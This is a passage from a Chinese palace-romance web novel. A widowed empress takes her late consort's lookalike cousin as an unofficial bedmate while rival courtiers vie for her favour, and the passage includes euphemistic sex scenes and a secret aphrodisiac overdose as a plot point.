那是她和太傅的初夜。是她太喜欢太傅,是她等不及了,才迫不及待、罔顾礼法在船上便与太傅共赴云雨。
那夜的太傅全然不似往日端庄。
他眼尾泛红,凭白多了几分媚态,显然是已经动情。
但他依旧克制着,任由她……
苏文澜一直低着头,直到温热的呼吸落在耳旁,他忍不住仰头看去。
陆玄珍正盯着他出神,眼中是他看不懂的复杂,或许他看懂了,但不想懂。
温热的气息打在脸上。
陆玄珍回过神,盯着他眼尾小痣:“你和你堂兄很像……就像是亲兄弟一样。”
苏文澜呼吸一顿,垂眸道:“堂兄在臣心里就是亲兄长,现在也的确是亲兄长了。”
陆玄珍一只手还扶在他后腰上。
他的腰很细。
上次穿着厚重的袄子,她就看出来些,眼下苏文澜只穿了件单衣,她更是感受到了。
人瘦成这样,也不知道苏家是怎么养的。
又想到这人不过是在马上受了些风就能昏过去,心下更是不虞。
她微微蹙眉:“太傅可没你胆子这么小!”
这话刚一说出口。
怀里的身体就颤了颤,原本抬起来的头也低下去。
陆玄珍有些后悔,怎么又把人给吓着了?
又过了会。
她轻叹一口:“朕没怪你,只是你这身子也太弱了。你现在是朕的人了,得自己多上心些,别总病了。”
苏文澜双颊微红。
他现在是皇上的人了?虽然知道此人非彼人,但心里仍忍不住窃喜。
“臣知道了。”他把脸窝在她怀里轻声应下。
乖觉的模样,让陆玄珍心下一软,眉眼也柔和下来。
“好了好了,以后要大胆些,不会有人敢看轻你,有什么想法,只管和朕提。”
苏文澜垂下眼。
其实他想侍寝,就算无名无分也行。他就是奔着这个来的。
然现在提出这事,未免有些冒昧,甚至会打破两人间好不容易建起来的信任。
于是,他把脸往她颈窝处埋得更深了些。
陆玄珍终于察觉到一丝异样。
只是还没有来得及细想,苏文澜委委屈屈的声音就在耳边响起。
“陛下……您对臣太好了。好到臣不敢相信这是真的,您是除了堂兄外,第一个对臣这么好的人。”
“这些日子,臣心里一直很怕。”
苏文澜说着,竟是大胆抓起陆玄珍的一直手,慢慢放到自己胸口。
里面那颗心脏正砰砰跳着,越来越快。
而他的声音,也颤抖起来。
“臣好怕这就是一场梦,醒来之后就什么都没有了。只有见着您了,臣这心里头才稍微安稳些……”
陆玄珍没有推开他,平静的眸底划过一丝怜爱。
她轻轻回握住他的手,低声安慰:“朕就在这呢。”
她对苏文澜总是多分怜爱的。
或许是因为他的出身处境,或许也因为太傅……
亦或是她从未见过这般男子。
太傅温雅,表兄宽和,沈统直率。
唯有苏文澜敏感多心,她见了便忍不住小心呵护着,生怕人碎掉。
这无关情爱,是她有私心。
她私心贪恋太傅的温度,所以便借着苏文澜这张脸以解相思之苦。
且她向来光明磊落。
如今竟变得这般……
陆玄珍心下是愧疚的。如果苏文澜知道自己被人当成另一人,又怎会不难过。
所以,她只能一边瞒着,一边愧疚着。对他更好,更怜爱,更纵容。
苏文澜全然不知道她心思。
侧头看了眼窗户。
外面天色渐暗,风拍在窗棂上时不时发出沙沙的声响。
他抿抿唇,主动松开手:“陛下,时候不早了,您快回去吧……”
话虽如此,却是一脸不舍。
陆玄珍自然也注意到了。
方才那份愧疚加深不少,她私心地希望他可以不要这么懂事。
任性一些吧苏文澜,她准了。
这样她心里会好受些。
两人说话的功夫,天突然全黑下来。外面又开始飘雪,噼啪打在窗上,北风呼呼作响。
屋内光线很暗,床头灯盏里的烛火微微跳动的。
陆玄珍的半张脸隐在黑暗中。
她沉了沉眸子,突然抬手掖了掖被子:“睡吧。”
说完这话,她没起身。
继续坐在床边,看着满脸担忧的苏文澜:“朕不走,朕在这里看着你睡,等你睡了朕再走。”
“嗯。”苏文澜轻轻应了一声,顺从地躺好闭上双眼。
屋内烛火摇曳,地龙暖热,窗外大雪纷飞,北风呼啸。
夜深了。
-
翌日清晨。
苏文澜醒来的时候,卧房内果真
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只剩他一人,床边那个位置早已空下来。
他伸手抚过那块床单,余温早已散尽,只剩一片冰凉。
门口突然闪过一片人影。
小梁子尖细的嗓音从门外传来:“大人您醒了吗?”
“醒了。”苏文澜坐起身。
话音刚落,伴着吱呀一声。
小梁子轻手轻脚推门进来,一脸欢天喜地:“恭喜大人!”
“恭喜什么?”苏文澜接过他递过来的帕子,擦了把脸。
小梁子沉浸在喜悦中无法自拔:“当然是恭喜您得陛下青睐了!”
昨个他可都看到了,陛下在这里待到半夜才出来,他那会就想进来看看大人的,但陛下让他天亮再来,别打扰到大人。
苏文澜自嘲笑了声:“这算什么。”
还是他没本事,没能留住陛下,要不然怎会一睁眼人就不见了。
“大人您别灰心,毕竟先皇夫新丧,陛下就算再喜欢您,也不能枉顾理法。昨夜陛下从您这出去,就直接歇在了主殿,可见陛下心里是有您的。”
小梁子凑上前低声安慰。
“嗯?”听到这话,苏文澜脸上的表情僵了僵。
小梁子在一旁大气不敢喘一下。
良久,苏文澜把帕子扔到盆里,从床上站了起来,偏着脸问:“陛下这会还在主殿吗?”
小梁子连忙道:“在,奴婢过来的时候特意去那边看了眼,陛下还没起。”
“行,你随我去趟小厨房。”苏文澜边穿衣服边说。
他不习惯被人伺候,洗漱更衣这种贴身的事更是亲力亲为。
之前为了方便祭奠太傅。
做戏做全套。
他还特意收拾了一番小厨房,隔三差五给太傅做点祭品,这会倒是派上用场了。
-
陆玄珍睡到日上三竿才醒。
她很少睡到这个时辰。登基前需早起习武,登基后更是没有时间贪睡。
等她醒来,就看到青歌一脸焦急地站在外面:“发生什么事了?”
“陛下,沈太医不好了……”
“怎么回事?”陆玄珍猛得从床上坐起身。
青歌声音带着哭腔。
“沈太医昨日听着您急召太医,顾不得自己腿上的伤就仓促进了宫。没想到竟扯到了伤口,昨夜又烧了半宿。”
陆玄珍心口一紧。
回想起昨日,那会她只顾着受惊的苏文澜,完全忘了表兄还带着伤,压根没想过怎会是表兄出诊。
“好了,下次再有这样的事……”陆玄珍顿了顿,“早些告诉朕。”
说着,她起身示意青歌为她更衣。
洗漱更衣后,陆玄珍急匆匆往外走:“这个时候早膳就不必了,等到了沈府朕在那边用午膳。”
走到门口,她才看到提着食盒宛若冰雕的苏文澜。
“你在这里做什么?”
苏文澜将她脸色尽收眼底,见她神色不对,立马改口道:“臣是来看堂兄的。”
陆玄珍意味深长地看他一眼,到底是着急出去,也没计较太多。
微微点了个头,绕过他往外去。
昨夜积雪今早就被宫人们清扫干净了,外面轿辇早已备下。
陆玄珍上了轿辇,往宫外去。
走到半路,她突然探出头看着青歌:“你见过后宫争宠的妃子们吗?”
13. 第 13 章
青歌迷茫摇头:“奴婢没见过。”
她自幼跟着陛下身边,太上皇身边只有太上皇后一个女人。
所以她也不知道后宫妃子们争宠起来会是怎样的场面。
“那你觉得他们几个现在像不像……”陆玄珍压低声音,“在争宠?”
青歌哽在那里,不敢作答。
陆玄珍轻笑着收回眼。
放在膝盖上的手指有一下没一下地敲着,思绪飘远。
她想到了那道请立新皇夫的折子。
这几日不知是地龙烧得太热,还是因为雪天不方便出门。
她体内积了一团火。
加之她是习武之人,这团火越烧越旺,近来她越发频繁想起那夜她同太傅在醉心湖上共赴云雨。
可是,人都死了。
她就是再想同太傅行周公之礼,可也不能把人从棺材里抓出来。况且她也没有丧心病狂到那个程度。
陆玄珍才二十岁,就算再念着太傅的好,可毕竟是血气方刚的年龄,又初尝滋味。
她不想立皇夫,但却想——
有人给她侍寝。
她觉得这样有些不好。
但自她即位以来,勤政爱民,以天下为先。偶尔放松一下,也没关系吧?
陆玄珍在心里找了好多个理由,在抵达沈府时,终于说服了自己。
她想要个知冷暖的人,可以抵足相眠,同床共寝。
“陛下!”沈统意外之后就是惊喜,三步并作两步迎上来。
自从他大哥沈锐腿伤后,他便听陛下的话在家照顾,已经有一段日子没进宫当差了。
“表兄现在怎么样了?”
陆玄珍边往里走边问,同时还多看了沈统几眼。
沈统心下窃喜,挺了挺背。
“就昨夜烧得厉害,天一亮就不烧了。”
“那就好。”陆玄珍点点头,突然语气一转,“今早是你告诉青歌的吗?”
“是、不是!”
沈统脸上藏不住事,陆玄珍一问,他就乱了阵脚,心虚地垂下头盯着地面看。
沈锐生性喜静,作为沈氏大房长子,住处却偏僻幽静。
陆玄珍跟着沈统又穿过一个抄手游廊,终于到了沈锐的住处。
一路走来。
两人谁都没再说话。
再看到沈锐时,陆玄珍除了心疼,还多了一丝奇怪的感觉。
她似是才察觉出来,表兄这些日子该不会是在争宠吧?
“表兄,怎么又这么不小心?”
陆玄珍坐在床榻前的木凳上,垂眼看向他:“朕记得你从前不是这样。”
沈锐脸上的虚弱一凝,低下头轻咳了几声:“臣……以后会注意的。”
她看了眼杵在后面的沈统:“你先出去,朕想和表兄单独待一会。”
沈统:“……是。”
沈锐有些意外地抬起头:“陛下?”
“前些日子,大臣们上了一道折子,希望朕可以再立一位皇夫。”
陆玄珍面无表情地讲述着,眼神落在沈锐脸上。
沈锐的脸色僵了僵,勉强扯出一抹笑:“太傅刚走,他们这样未免有些太急了。”
听到这话,陆玄珍心沉了沉。
的确是有些急了。
沈锐也暗中观察着陆玄珍脸色。
见她脸上越来越暗,不由抿了抿唇:“您对太傅的情谊,世人都看在眼里……”
他是文人,压根不懂她的需求。
今早听采买的宫人说陛下在长春宫偏殿待到半夜才出来,还直接在主殿歇下了,一直没起。
情急之下,便让沈统进宫找了青歌一趟。
陆玄珍盯着沈锐的脸看了会。
久久过后长叹一口。
罢了,表兄这般也好,她就不打他主意了。
原本她想着她与表兄一同长大。
表兄为人正直又豁达大度,她可与他商议侍寝一事。
眼下看来,他有些过于正直了。
那些话陆玄珍突然说不出口了。
她眼神从沈锐脸上往下移,直到落在腰上才停住,整个人愣着出神。
她对表兄……
好像没有那种想法了。
算了,这样无名无分也是委屈表兄,表兄从小待她这般好,她也不能这样委屈人家。
“朕知道了。”
陆玄珍脸色恢复正常:“既然病了,就好好休息吧。”
“臣现在没……”沈锐的话没说完,陆玄珍就起身走到了门口。
他自小跟着陛下,很了解陛下的性子,不能操之过急,成为陛下枕边人一事还需徐徐图之。
陛下肯来看他,就说明他在陛下心里是不一样的。
想到这里,沈锐扬着唇笑。
沈统回来时,看到的就是他端庄的大哥坐在床上傻乐。
他酸溜溜地醋了句:“怎么这么高兴?”
“你不懂。”沈锐继续扬着唇。
沈统翻了个白眼:“还说不急呢?一听长春宫的动静,你比谁都急!”
“小统,你不懂。”
-
回宫路上。
陆玄珍感觉太阳穴都胀得发疼。
表兄一板一眼的样子,让她一下就歇了心思。要是她把那个想法说出来……
她又想到了沈统。
沈统是武人,倒是不在乎这些条条款款。但是他又敬重他大哥,要是让他私下侍寝,或许沈锐还会拦着。
想来想去,又绕到了苏文澜身上。
苏文澜也敬重太傅。
但他又从不掩饰对她的倾慕,甚至在受惊时会本能地依靠她。
他是第一个敢主动的男人。
昨夜他的投怀送抱,他的以退为进,都出乎陆玄珍的意料,也都有取悦到她。
他应该也是愿意的吧?
陆玄珍向来直率,不愿弄那些弯弯绕绕,回宫直接就去长春宫传膳了。
苏文澜没想到她会这么早回来,没在沈府多待会。
饭桌上,见陆玄珍放下筷子,他才小心翼翼开口试探:“陛下怎么这么快就回来了?”
陆玄珍开门见山:“有事找你。”
“陛下您吩咐。”
苏文澜眼神闪了闪。
民学的事他都办好了,还有什么其他的事?该不会是那姓沈的又说了什么。
“你今年多大了?”陆玄珍冷不丁地问了句。
苏文澜:“二十。”
陆玄珍意外看他眼:“你竟与朕一般大。”
“说明臣与陛下有缘。”苏文澜轻轻眨了眨眼。
陆玄珍沉默了会,又问:“你可有心仪的姑娘吗?”
这个她总得先问清楚。
食色性也,人之常情。不过她也没有以权势逼人就范的癖好。
苏文澜愣了愣。
多年来养成的习惯,让他下意识想要否认,
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但却硬生生收住了。因为他敏锐意识到,这或许是一个对他的考验。
“有。”他直视着陆玄珍说。
“是哪位姑娘?”
陆玄珍语气依旧淡淡,只是眼底却染上几分冷意。
苏文澜抿抿唇,笑得温柔又坚定。
他轻声吐出一个字:“您。”
陆玄珍周身的冷气一下子就散了。
用一种奇怪的眼神看着他:“你胆子倒是不小。”
“臣要是没有几分胆量,也不可能站在陛下面前。”苏文澜镇定自若。
陆玄珍盯着他看了有一会。
突然问了句莫名其妙的话:“身子好了吗?”
苏文澜只当她在关心自己,嘴角扬起的弧度更大了些:“谢陛下关心,臣今早起来就好了。”
“那就好。”
陆玄珍点了点头,视线往下移了移:“你不怕朕吗?”
从第一次见到苏文澜,她就知道这人不怕她。他似乎很笃定,自己不会伤到他。
不过也没错,一看到他那张脸,她什么气都消了。
“您有什么好怕的?”苏文澜笑着往她身前凑了凑。
再怕也没苏家可怕。
陆玄珍想到他耍小聪明的样子,不由轻笑了一声,伸手捏住了他的下巴。
“愿意到养心殿侍奉吗?”
她这话又直白又隐晦。
饶是苏文澜都红了脸,声若蚊蝇:“您要臣做什么,臣都愿意。”
陆玄珍对这个回答很满意。
但还是不放心地又问了句:“便是什么好处都没有也愿意吗?”
“只要是您的吩咐,臣什么都愿意。”苏文澜也再一次给出十分肯定的回答。
陆玄珍钳住他下巴的手移到侧脸,轻轻拍了拍:“今晚朕叫人来接你。”
-
苏文澜没想到事情会变成这样。
陛下不过是去了一趟沈府,回来就点名要他去侍奉。
而且听这意思应该是只想要人,不想给名分。
苏文澜似乎隐隐猜到了什么。
许是陛下在沈家闹了不愉快,这才叫陛下记起他的好。
他和那两个姓沈的不一样。
他只会为陛下分忧,今晚他一定会让陛下满意的。
“小梁子。”
候着旁边的小梁子立马屁颠屁颠上前,一脸谄媚:“奴婢在。”
苏文澜在他耳旁低语了几句。
小梁子脸上立马露出了惊恐的表情:“大人,这、这样不好吧?”
“有什么不好。”
苏文澜漫不经心地瞥他眼:“要是不能让陛下满意,才是大不敬。”
“可是您身子……”
小梁子看着苏文澜清瘦的身子,还想再说点什么,却被他冷厉的眼神给吓了回去:“奴婢这就去。”
苏文澜沐浴出来。
桌上已经摆好了他命小梁子寻来的东西——
一个瓷瓶。
苏文澜用帕子擦了擦头发。
走到桌前把瓶子拿到手中,仔细看了看:“没人知道吧?”
小梁子笑得一脸讨好:“您放心好了,奴婢亲自出宫寻的药。这可是京城最好的金枪不倒药。”
苏文澜嗯了声,把药贴身放起来。
坐下吃了些饭菜垫垫肚子,刚吃完,养心殿那边的人就来了。
不是他之前见过的青歌青桃,而是一位脸生的公公。
14. 第 14 章
苏文澜不认得,小梁子认得。
马公公作为敬事房主管,虽不常露面于人前,但绝不能轻易得罪了。
小梁子低声提醒苏文澜:“大人,这位是敬事房的马主管。”
“马主管。”
苏文澜冲人微微颔首,态度不卑不亢。
马公公抿着嘴打量了他一遍,扬着下巴说:“过来吧。”
说着,他转身率先往内室走。
苏文澜不知他是何意,只得先行跟上。
小梁子也跟在后面,但刚走到门口,就被马公公呵斥了,正准备讪讪退下,又被责令关好门。
苏文澜静静站在一旁。
封闭寂静的内室现在只剩他和马公公两个人。
马公公转过来看他,态度虽说不上多恭敬,但比对小梁子要好上些:“苏大人,请您把裤子脱了。”
“什么?”苏文澜太过震惊,以至于一时有些失态。
等看到马公公一脸镇定,他才稍微反应过来。
可这种事……
就算是被一个太监看了,他也觉得自己好像不干净了。原本侍寝的喜悦,这会瞬间熄灭。
宫里头的规矩可真多啊。
“还请您快些,时辰不早了。”马公公站在对面皮笑肉不笑道。
苏文澜咬着牙问:“一定要这样吗?”
“您说呢?”马公公似笑非笑看着他,“陛下的房事,可容不得一点差错。”
“我、知、晓、了。”
这几个字,苏文澜几乎是从牙缝里挤出来的。接着他把心一横,双手沉到腰间,狠狠往下一拉。
马公公终于见到了今晚任务全貌。
怎么说呢?挺标准也挺漂亮,漂亮到叫人有点嫉妒,好在他已净身了。
他盯着那里看了会:“好了,穿上吧。”
苏文澜觉得自己受了莫大的侮辱。
但又说不出道不出,只好冷着脸提上裤子。
马公公站在原地没动。
等他穿好,才缓缓开口道:“您底子不错,比您兄长用的要大一号。”
“陛下年轻,自是不可能轻易怀孕,您等会侍寝的时候,必须全程戴好。”
苏文澜没明白他意思。
所以眼下就算对此人万般厌恶,也不得不耐着性子虚心求教。
“马主管,我要带什么去侍寝?”
马公公也没含糊。
直接从身上掏出两样东西:一本册子,一段干瘪奇怪的“肠子”。
他先拿起那段“肠子”解释。
“这叫羊肠套,是用特殊方法制成的,侍寝时会有人把泡好的送过去,你就戴在那里。您明白了吗?”
苏文澜终于听懂了。
脸颊腾一下红起来,心脏更是砰砰跳得飞快:“明白了。”
马公公又拿起册子:“您要记着尊卑有别,无论何时都不可以下犯上,冲撞了陛下。”
他说着,同时翻开一页,里面的内容瞬间倒映在苏文澜眼中。
那是一幅画,画中的人物仿佛就在眼前,看起来让人脸红心跳。
“您还有两刻钟的时间。”马公公把册子塞到苏文澜手中,“好好学一学。”
苏文澜顶着一张大红脸接过去。
他看一页脸就红一分,看到最后,脸色红到几欲滴血,好在这本册子不厚。
“苏大人都记下了?”见他合上册子,马公公问了声。
苏文澜点头:“嗯,都记下了。”
“那请苏大人随奴才来吧。”
马公公抬脚往外去,手刚放到门上,身后传来苏文澜的声音:“马主管……”
“您还有什么事吗?”马公公停下来回头看着苏文澜。
苏文澜抿抿嘴:“我兄长他……侍寝过?”
马公公用一种奇怪的眼神看着他。
“苏太傅是上了玉碟的皇夫,敬事房里备着的都是他的尺寸,不过还没有用。”
苏文澜刚舒了口气。
就听到马公公继续说:“陛下看重苏太傅,亲近都来不及,又怎会用这些?可惜太傅走得早,原本想着你们兄弟二人应该差不多,不用再另外准备了呢。”
苏文澜僵在原地,如遭雷劈。
他自知无法与苏太傅相比,但心中仍忍不住与之较量一番。
“您能侍寝,这是天大的福分。”马公公推开门,回头看他一眼。
“……多谢马管事提点。”
苏文澜回过神,从腰后取下一个沉甸甸的荷包,不动声色地塞入马公公手中。
马公公藏着袖子下的手掂了掂。
嘴角微微勾起,隐晦提醒:“陛下常年习武,体力好,时间会持久些,您最好多补补。”
-
养心殿内。
陆玄珍坐在床上,只穿了件里衣。
她这会冷静下来,倒是有些后悔了。
后悔自己冒失选人侍寝。
她是武人,比旁人重欲些也正常。同样她那方面的要求也要高些。
她对苏太傅喜欢归喜欢。
但在这方面,两人其实不是很合拍。苏太傅在那事上,就像他本人一样,温吞慢热。
虽然两人只有过几次,但每次她都吃不饱……
可看到太傅一脸疲惫。
她也不忍心强求,想着毕竟来日方长,以后有的是时间。
也不知道苏文澜到底中不中用。
想到他清瘦的身子,陆玄珍心里已经不抱什么希望了。
要不悬崖勒马吧,再挑个人吧。
这样想着,陆玄珍朝门外喊了声:“青歌。”
“陛下,东西都准备好了。”
青歌端着个托盘从门前进来,把泡好的羊肠套摆在了桌子上。
陆玄珍低头瞥了眼,有些意外:“泡错了?”
他不像是这样的人。
青歌一愣,旋即道:“没,马公公亲自确认的,万无一失。”
陆玄珍垂着眸沉默了会。
决定还是给苏文澜一次机会。毕竟东西都泡了,人也快来了,另外就是她的确喜欢他的模样。
“去看看人到哪了。”
青歌神色复杂地应了声。
没想到陛下对这姓苏的这么上心。明明……算了,陛下高兴就好。
-
马公公在前面亲自掌灯,苏文澜跟着后面。他们到养心殿时,天色已经全黑了。
马公公突然停下脚步,回头看他。
“前面就是了,您过去吧。一定要记住规矩,用心服侍好陛下。”
“好,多谢马主管。”
苏文澜远远就瞧见青歌站在门外,他冲马公公点了个头,朝那边走去。
这段路不长
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,但苏文澜走得很慢。
他的内心天人交战中,他在纠结到底该吃几颗金枪不倒药。
原本他只打算吃一颗。
但马主管方才提醒过,陛下喜欢持久些。
可他的身子他自己清楚。
这二十年他从未有过这种欲望,更别提做过这种事。
他怎样都无所谓,可他必须得让陛下满意。他得让陛下记着他,喜欢他,习惯他,忘不掉他。
短短几息,苏文澜已下定决心,他要——
把这瓶全吃了。
要是不能让陛下满意,他不活了。
夜色中,他匆忙将瓶中药丸倒进手心,囫囵一把塞到口里。
做完这些,刚好走到门前。
“小苏大人来了。”
青歌福了福身,侧过去让出条路:“您进去吧,陛下在里面。”
苏文澜深呼一口:“好。”
他伸手轻轻推开门,往里走了几步。瞥见床幔后那道若隐若现的人影,瞬间忘了呼吸。
“过来吧。”
陆玄珍的声音从纱幔后面传出,平平淡淡听不出情绪。
苏文澜心里没底,手脚都是麻的。但下腹却隐隐升起一股火。
药起效了。
待走到陆玄珍面前时,怕被看出失态,扑通一声就先跪在了她身前。
“臣……见过陛下。”
不说话还好,一说话他声音更是异常沙哑。
陆玄珍有些奇怪:“你抬起头来。”
苏文澜听话照做,然后,她就看到了他脸上不正常的潮红。
“怎么了?这么紧张吗?”
“臣、臣……”
苏文澜支吾着低下头,用很小的声音说:“臣是第一次,怕做不好。”
他听到头顶传来一声轻笑。
顿时把头压得更低了:“要是等会臣哪里做不好,陛下能、能不能……”
苏文澜话没说完,耳边突然传来一道温热的气息:“能不能什么啊?”
他本能抬起头,陆玄珍的脸徒然在眼前放大,两人鼻尖几乎碰到一起。
“能不能什么啊?”陆玄珍再次问。
苏文澜咽了咽喉咙,口中发涩:“能不能不要责罚臣?”
啪啪——
陆玄珍抬手在他脸上轻拍两下:“朕还没那么苛刻,做得好朕会赏,做不好朕也不会罚你什么。”
说完她就先躺了下去。
今晚她只穿了件明黄长裙。
随着她的动作,两条修长白皙的小腿露出半截。暖黄的烛火下,优美的肌肉线条清晰可见。
等了会,苏文澜没过来。
陆玄珍偏着头去寻,见他仍跪在地上,微微蹙眉:“可是后悔了?”
她抿抿嘴继续说:“要是现在后悔也还来得及。朕现在让人送你回去,你的官职照旧……”
苏文澜突然站起来,单手解开外袍扔在地上,身上只剩一件薄薄的纱衣,劲瘦的腰肢若隐若现。
他虔诚地跪到床榻上:“陛下,臣永远不会后悔。”
他低头在她脚背上落下轻轻一吻。
“臣喜欢您,臣愿意为您做任何事。”
苏文澜回想着册子里的图。
强行压抑着体内的燥热冲动,俯在了她的小腹前,微微喘着粗气:“陛下,臣会让您满意的。”
15. 第 15 章
陆玄珍刚想阻拦。
一股奇异的感觉直击灵魂,大脑一片空白,脚趾不由微微蜷缩起来。
此时她宛若一叶扁舟。
漂浮在汪洋大海中,汹涌的浪一下又一下拍打在脆弱的小舟上。
摇摇欲坠,几欲被淹没。
“你在干什么?”陆玄珍声音发颤。
然而一望无际的海面上,除了她自己的声音,再无回应。
沉睡的大海似乎被人唤醒了。
海浪的力度变得更大,拍得人晕头转向,彻底迷失了方向。
陆玄珍整个人被温暖的海水包裹,眼神已经变得迷离。
她垂眸看去,嘴唇微微翕动,还未来得及发出声音,周边微暖的海水悉数退去。
巨大的失落感让她瞬间清醒过来,她眯了眯眼,其中是不可言说的危险。
“小苏大人怎么不继续了?”
苏文澜舔舔嘴角,温声细语道:“怕您不满意。”
陆玄珍笑了一声。
没想到她还有被人逗的时候,他胆子当真是不小。
“你现在觉得朕满意了吗?”
“不满意。”苏文澜毫不犹豫答。
她挑挑眉,反问:“那为什么停下来?”
“臣想让您更满意些。”苏文澜抿抿嘴,视线透过纱幔落在桌子上。
尽管他早已焚身浴火。
但大脑仍出奇地冷静,死死压住体内那股热,恭恭敬敬地服侍陆玄珍。
陆玄珍顿了顿,漫不经心瞥他眼:“不着急,再过会吧。”
“是。”苏文澜俯身应道。
他尽心尽力服侍着这位九五之尊,心甘情愿,体贴入微。
又过了很久。
久到苏文澜都快压不住急促的喘息,她才恋恋不舍:“让朕再满意些吧,小苏大人。”
小舟已经适应了风浪。
现在他们要去更远的海域,迎接更激烈的暴风雨了。
苏文澜起身下了床,赤脚走到桌前,捞起了泡在碗里的东西。
按照马公公的教导进行操作。
还算顺利,就是略微有点挤,可能是他药吃多了。
这夜,养心殿灯火通明,里面的主子一连叫了三回水。
陆玄珍从没这么畅快过。
她到了许多从前没有抵达的地方,也是这天,她才知道从海底到云端是什么滋味。
先前当真是她小瞧了苏文澜。
她侧过脸看了眼身旁。
不由自主伸出手指,戳了戳苏文澜的粉红的眼尾。
苏文澜长睫抖了几下。
他缓缓睁开双眼,眼底似含了一泉春水,含情脉脉地望着她:“陛下。”
陆玄珍指腹抚上他眼尾小痣,轻轻笑了笑:“怎么了?”
苏文澜小心翼翼凑过来,把头埋到她的颈窝里,温热的呼气打在耳边。
他用一种很清澈的声音说:“臣好喜欢您啊。”
陆玄珍手指一顿,眼底同时闪过一抹复杂。
良久,她的手滑到苏文澜脑后,把人往怀里摁了摁:“有多喜欢朕?”
“您便是要臣的命,臣也不会眨一下眼。”苏文澜毫不迟疑道。
陆玄珍哑然:“朕要你的命做什么?”
“臣也不知道。”
苏文澜乖顺地窝在她身上,垂下眸:“只要您开心,臣做什么都可以。”
这话刚说完,苏文澜感到一只手捏住了他的下巴。
他不得不抬起头与陆玄珍对视。两人的鼻尖都快碰到一起了。
陆玄珍并没有亲他的意思。
她只是这样静静地看着他,看着这双干净透亮的眼睛。
这是他最像太傅的地方。
苏文澜眼中没有丝毫怯懦,只有无尽温柔和爱慕。
“这样无名无分跟了朕……”陆玄珍顿了顿,“可甘心?”
“能侍奉陛下是臣的荣幸。”
苏文澜突然凑近,轻轻蹭了蹭她鼻尖:“臣自然心甘情愿,如果陛下心疼臣,那等臣把您伺候好了,您就赏臣一个名分好不好?”
感受到他的动作,陆玄珍身子一僵,连呼吸都隐隐急促起来。
她人往后缩了缩,裹着被子背过身去:“以后看你表现。”
然没几息,她后背一烫,一具身体贴了上来,温热气息落在耳边。
“臣一定好好伺候您。”
陆玄珍脸上烧得厉害,往下一伸手,更是惊诧万分:“你还能行吗?”
苏文澜舔舔嘴角:“您累了吗?”
“不累!”陆玄珍不假思索道。
她堂堂大周皇帝、真龙天子,怎能轻易就累。
苏文澜抿唇微笑:“臣来服侍您。”
见陆玄珍没反驳,他贴得更近了些,凑上来轻轻吻她的耳垂。
感受到怀里人颤动,他的脸在她后背蹭了蹭,声音沙哑:“好吗?”
“……好。”陆玄珍低低应了声。
她从不压抑自己的需要,她也不需要压抑什么。
她翻了个身,对上苏文澜脉脉含情的双眸,叮嘱道:“不要逞强。”
“臣遵命。”
苏文澜眼底划过一抹庆幸。
还好他把那瓶药都吃了,要不然陛下怎会对他如此满意?
远方天色渐白,里面动静小下来。
青歌红着脸贴在门外问:“陛下,要送小苏大人回长春宫吗?”
陆玄珍低头看了眼身旁。
见苏文澜已经昏睡过去,她压着嗓子回:“不必了,你们也去歇会吧。”
虽说按照规矩,后宫妃嫔侍寝后不得留宿养心殿。
但她是皇帝,只要她高兴,破例一次又如何?
想到夜里苏文澜尽心尽力。
她脸上温柔不少,一只手轻轻在他脸上描募着轮廓,眼中是说不明的情绪。
“阿辞啊……”
陆玄珍轻叹一声,指腹停在了苏文澜眼尾的那颗小痣上。
突然,他垂下的睫毛颤了下。
她一惊,立马屏住呼吸。
苏文澜依旧闭着双眼,没有丝毫醒来的迹象,只是把脸往她手上蹭了蹭,继续沉沉睡去。
陆玄珍用手箍住他的腰,靠在旁边小憩。
这一觉她睡得很安稳,一觉睡到天色大亮,整个人的精气神都好了不少。
青歌进来服侍她洗漱更衣,眼睛不由自主往床那边瞟,可惜隔着一层纱幔看不清楚。
过了会,她实在忍不住问:“陛下,小苏大人还没起来吗?”
陆玄珍顺着她视线往床上看了眼。
嘴角含笑:“嗯,让他好好休息吧,你们别进来打扰他。”
“是。”青歌闷着头应下来。
-
苏文澜醒时,已近黄昏。
他以为天刚亮没多久,慌忙起身。
脚刚一落地,一个踉跄跌坐在地,腰椎处传来一阵钻心的疼。
小梁子听到里面的动静,着急推门而入,一眼就看到了地上的苏文澜。
“大人,大人您还好吗?”
苏文澜顺势扶着小梁子的胳膊,重新坐回床上。
他微微摇头:“无碍。”
小梁子急得不行:“您身子最重要,奴婢去请太医。”
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苏文澜一把抓住小梁子胳膊,把人扯到跟前,压低声音说:“不必去请太医,只是累着了。”
“那就更得让太医来看了。”小梁子说着又要往外去。
他板起脸:“不行。”
“您、您别不拿自个身子当回事啊!”小梁子急得满头大汗。
苏文澜嘴唇抿成一条线。
“不能找太医,我吃过那药,不能叫人看出来。”
“可、可是……”
小梁子一拍腿:“那卖药的说过,这东西是查不出来的,您就别担心了!”
“那是按医嘱服用,我多吃了些,万一被太医看出来呢?”
苏文澜一脸严肃。
“您、您吃了多少?”小梁子问。
见苏文澜伸出一根手指,小梁子松了口气:“多吃了一颗?那肯定没事……”
苏文澜盯着他没动。
小梁子心里突然咯噔一下:“大人,难道不是多吃了一颗吗?”
苏文澜轻轻摇头:“不是。”
“那……到底是多少啊?”小梁子声音都在发颤。
“一瓶,我把一瓶都吃了。”
苏文澜如是说。
小梁子先是震惊,震惊过后整个人抖得如同筛糠一般,说话时下巴都合不上了:“您、您、不要命了吗?”
“小点声。”苏文澜掐了掐他胳膊,让他冷静下来,“不要去找太医。”
小梁子满脸呆滞地点了下头。
他松开小梁子,吩咐起来。
“这药不错,你想办法再弄些来。另外让外头的郎中开些补药,记住要避着人,这可关系你我下半辈子的富贵。”
“您、您放心,奴婢一定办好。”
小梁子终于回过神,拍着胸脯保证。
-
沈统虽仍在宫外。
但作为御前侍卫,还是皇帝表亲,苏文澜侍寝一事,还是很快传了过去。
沈府内。
“你、你说什么?昨夜姓苏的睡着养心殿了?这怎么可能!”
沈统满眼通红地瞪着传信人。
传信人似是被吓到了。
站在原地呆愣着不敢回话。
沈统伸出双手大力摇晃着传信人的肩膀,同时大声质问:“你再说一遍!你再给我说一遍!”
“小统?怎么了?”
沈锐坐在轮椅上,被下人推了过来。
“大哥,你知不知道昨天……”
沈统一顿,气急地跺了跺脚,没再往下说。
“昨天到底发生什么了?一大早你动这么大的火?”
沈锐的轮椅已经到了沈统跟前。
他抬起头,直直盯着沈统。
沈统猛叹一口气:“没什么,大哥你回去歇着吧,等你好些我再同你讲。”
沈锐没理他。
一脸严肃看向传信的下人:“你来说,到底发生什么事了?”
传信人抖了抖,老实交代道:“昨天夜里小苏大人进了养心殿。”
“许是汇报公务。”沈锐镇定道。
